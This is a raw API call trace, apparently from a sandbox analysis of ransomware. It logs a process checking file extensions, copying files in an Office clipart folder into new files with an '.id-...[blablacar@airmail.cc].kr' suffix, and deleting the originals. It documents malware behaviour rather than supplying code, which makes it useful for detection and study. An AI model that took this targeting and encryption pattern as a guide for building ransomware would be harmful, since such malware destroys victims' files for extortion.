lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0200.747] lstrlenW (lpString=".pdf") returned 4 [0200.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.747] lstrlenW (lpString=".xls") returned 4 [0200.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.748] lstrlenW (lpString=".xlsx") returned 5 [0200.748] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0200.748] lstrlenW (lpString=".ppt") returned 4 [0200.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.748] lstrlenW (lpString=".zip") returned 4 [0200.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.748] lstrlenW (lpString=".rar") returned 4 [0200.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.748] lstrlenW (lpString=".bz2") returned 4 [0200.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.748] lstrlenW (lpString=".7z") returned 3 [0200.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.748] lstrlenW (lpString=".dbf") returned 4 [0200.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.748] lstrlenW (lpString=".1cd") returned 4 [0200.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.748] lstrlenW (lpString=".jpg") returned 4 [0200.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.748] lstrlenW (lpString=".doc") returned 4 [0200.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.748] lstrlenW (lpString=".docx") returned 5 [0200.748] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0200.748] lstrlenW (lpString=".pdf") returned 4 [0200.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.749] lstrlenW (lpString=".xls") returned 4 [0200.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.749] lstrlenW (lpString=".xlsx") returned 5 [0200.749] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0200.749] lstrlenW (lpString=".ppt") returned 4 [0200.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.749] lstrlenW (lpString=".zip") returned 4 [0200.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.749] lstrlenW (lpString=".rar") returned 4 [0200.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.749] lstrlenW (lpString=".bz2") returned 4 [0200.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.749] lstrlenW (lpString=".7z") returned 3 [0200.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.749] lstrlenW (lpString=".dbf") returned 4 [0200.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.749] lstrlenW (lpString=".1cd") returned 4 [0200.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0200.749] lstrlenW (lpString=".jpg") returned 4 [0200.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.749] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0200.750] lstrlenW (lpString="J0099147.JPG") returned 12 [0200.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.751] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=24377) returned 1 [0200.751] CloseHandle (hObject=0x370) returned 1 [0200.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0200.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.751] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.751] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0200.752] GetLastError () returned 0x0 [0200.752] ReadFile (in: hFile=0x370, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x5f39, lpOverlapped=0x0) returned 1 [0200.754] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x5f40, lpOverlapped=0x0) returned 1 [0200.756] ReadFile (in: hFile=0x370, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0200.756] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0200.756] SetEndOfFile (hFile=0x4d4) returned 1 [0200.757] CloseHandle (hObject=0x4d4) returned 1 [0200.757] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.757] SetEndOfFile (hFile=0x370) returned 1 [0200.760] CloseHandle (hObject=0x370) returned 1 [0200.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0200.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.766] lstrlenW (lpString=".doc") returned 4 [0200.766] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0200.766] lstrlenW (lpString=".docx") returned 5 [0200.766] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0200.766] lstrlenW (lpString=".pdf") returned 4 [0200.766] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0200.766] lstrlenW (lpString=".xls") returned 4 [0200.766] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0200.766] lstrlenW (lpString=".xlsx") returned 5 [0200.766] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0200.766] lstrlenW (lpString=".ppt") returned 4 [0200.766] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0200.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.766] lstrlenW (lpString=".zip") returned 4 [0200.766] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0200.766] lstrlenW (lpString=".rar") returned 4 [0200.766] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0200.766] lstrlenW (lpString=".bz2") returned 4 [0200.766] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0200.766] lstrlenW (lpString=".7z") returned 3 [0200.766] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0200.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.766] lstrlenW (lpString=".dbf") returned 4 [0200.766] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0200.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.766] lstrlenW (lpString=".1cd") returned 4 [0200.766] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0200.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.766] lstrlenW (lpString=".jpg") returned 4 [0200.767] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0200.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.767] lstrlenW (lpString=".doc") returned 4 [0200.767] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0200.767] lstrlenW (lpString=".docx") returned 5 [0200.767] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0200.767] lstrlenW (lpString=".pdf") returned 4 [0200.767] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0200.767] lstrlenW (lpString=".xls") returned 4 [0200.767] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0200.767] lstrlenW (lpString=".xlsx") returned 5 [0200.767] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0200.767] lstrlenW (lpString=".ppt") returned 4 [0200.767] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0200.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.767] lstrlenW (lpString=".zip") returned 4 [0200.767] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0200.767] lstrlenW (lpString=".rar") returned 4 [0200.767] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0200.767] lstrlenW (lpString=".bz2") returned 4 [0200.767] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0200.767] lstrlenW (lpString=".7z") returned 3 [0200.767] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0200.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.767] lstrlenW (lpString=".dbf") returned 4 [0200.767] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0200.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.767] lstrlenW (lpString=".1cd") returned 4 [0200.767] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0200.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0200.768] lstrlenW (lpString=".jpg") returned 4 [0200.768] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0200.768] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0200.768] lstrlenW (lpString="J0099148.JPG") returned 12 [0200.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.959] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=18258) returned 1 [0200.959] CloseHandle (hObject=0x534) returned 1 [0200.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0200.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.959] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.959] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0200.960] GetLastError () returned 0x0 [0200.960] ReadFile (in: hFile=0x534, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x4752, lpOverlapped=0x0) returned 1 [0200.962] WriteFile (in: hFile=0x3e8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x4760, lpOverlapped=0x0) returned 1 [0200.963] ReadFile (in: hFile=0x534, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0200.963] WriteFile (in: hFile=0x3e8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0200.963] SetEndOfFile (hFile=0x3e8) returned 1 [0200.964] CloseHandle (hObject=0x3e8) returned 1 [0200.964] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.964] SetEndOfFile (hFile=0x534) returned 1 [0200.966] CloseHandle (hObject=0x534) returned 1 [0200.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0200.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.968] lstrlenW (lpString=".doc") returned 4 [0200.968] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0200.968] lstrlenW (lpString=".docx") returned 5 [0200.968] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0200.968] lstrlenW (lpString=".pdf") returned 4 [0200.968] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0200.968] lstrlenW (lpString=".xls") returned 4 [0200.968] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0200.968] lstrlenW (lpString=".xlsx") returned 5 [0200.968] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0200.968] lstrlenW (lpString=".ppt") returned 4 [0200.968] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0200.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.968] lstrlenW (lpString=".zip") returned 4 [0200.968] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0200.968] lstrlenW (lpString=".rar") returned 4 [0200.968] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0200.968] lstrlenW (lpString=".bz2") returned 4 [0200.968] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0200.968] lstrlenW (lpString=".7z") returned 3 [0200.968] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0200.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.968] lstrlenW (lpString=".dbf") returned 4 [0200.968] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0200.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.968] lstrlenW (lpString=".1cd") returned 4 [0200.968] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0200.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.968] lstrlenW (lpString=".jpg") returned 4 [0200.969] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0200.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.969] lstrlenW (lpString=".doc") returned 4 [0200.969] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0200.969] lstrlenW (lpString=".docx") returned 5 [0200.969] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0200.969] lstrlenW (lpString=".pdf") returned 4 [0200.969] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0200.969] lstrlenW (lpString=".xls") returned 4 [0200.969] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0200.969] lstrlenW (lpString=".xlsx") returned 5 [0200.969] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0200.969] lstrlenW (lpString=".ppt") returned 4 [0200.969] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0200.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.969] lstrlenW (lpString=".zip") returned 4 [0200.969] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0200.969] lstrlenW (lpString=".rar") returned 4 [0200.969] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0200.969] lstrlenW (lpString=".bz2") returned 4 [0200.969] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0200.969] lstrlenW (lpString=".7z") returned 3 [0200.969] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0200.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.969] lstrlenW (lpString=".dbf") returned 4 [0200.969] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0200.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.969] lstrlenW (lpString=".1cd") returned 4 [0200.969] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0200.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0200.969] lstrlenW (lpString=".jpg") returned 4 [0200.969] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0200.988] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0200.988] lstrlenW (lpString="J0099152.JPG") returned 12 [0200.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0200.989] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11694) returned 1 [0200.989] CloseHandle (hObject=0x3f8) returned 1 [0200.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0200.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0200.990] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.990] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0200.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0200.991] GetLastError () returned 0x0 [0200.991] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2dae, lpOverlapped=0x0) returned 1 [0201.004] WriteFile (in: hFile=0x568, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2db0, lpOverlapped=0x0) returned 1 [0201.005] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.005] WriteFile (in: hFile=0x568, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0201.005] SetEndOfFile (hFile=0x568) returned 1 [0201.005] CloseHandle (hObject=0x568) returned 1 [0201.005] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.005] SetEndOfFile (hFile=0x3f8) returned 1 [0201.008] CloseHandle (hObject=0x3f8) returned 1 [0201.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0201.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.009] lstrlenW (lpString=".doc") returned 4 [0201.009] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.009] lstrlenW (lpString=".docx") returned 5 [0201.009] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0201.009] lstrlenW (lpString=".pdf") returned 4 [0201.009] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.009] lstrlenW (lpString=".xls") returned 4 [0201.009] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.009] lstrlenW (lpString=".xlsx") returned 5 [0201.009] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0201.009] lstrlenW (lpString=".ppt") returned 4 [0201.009] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.009] 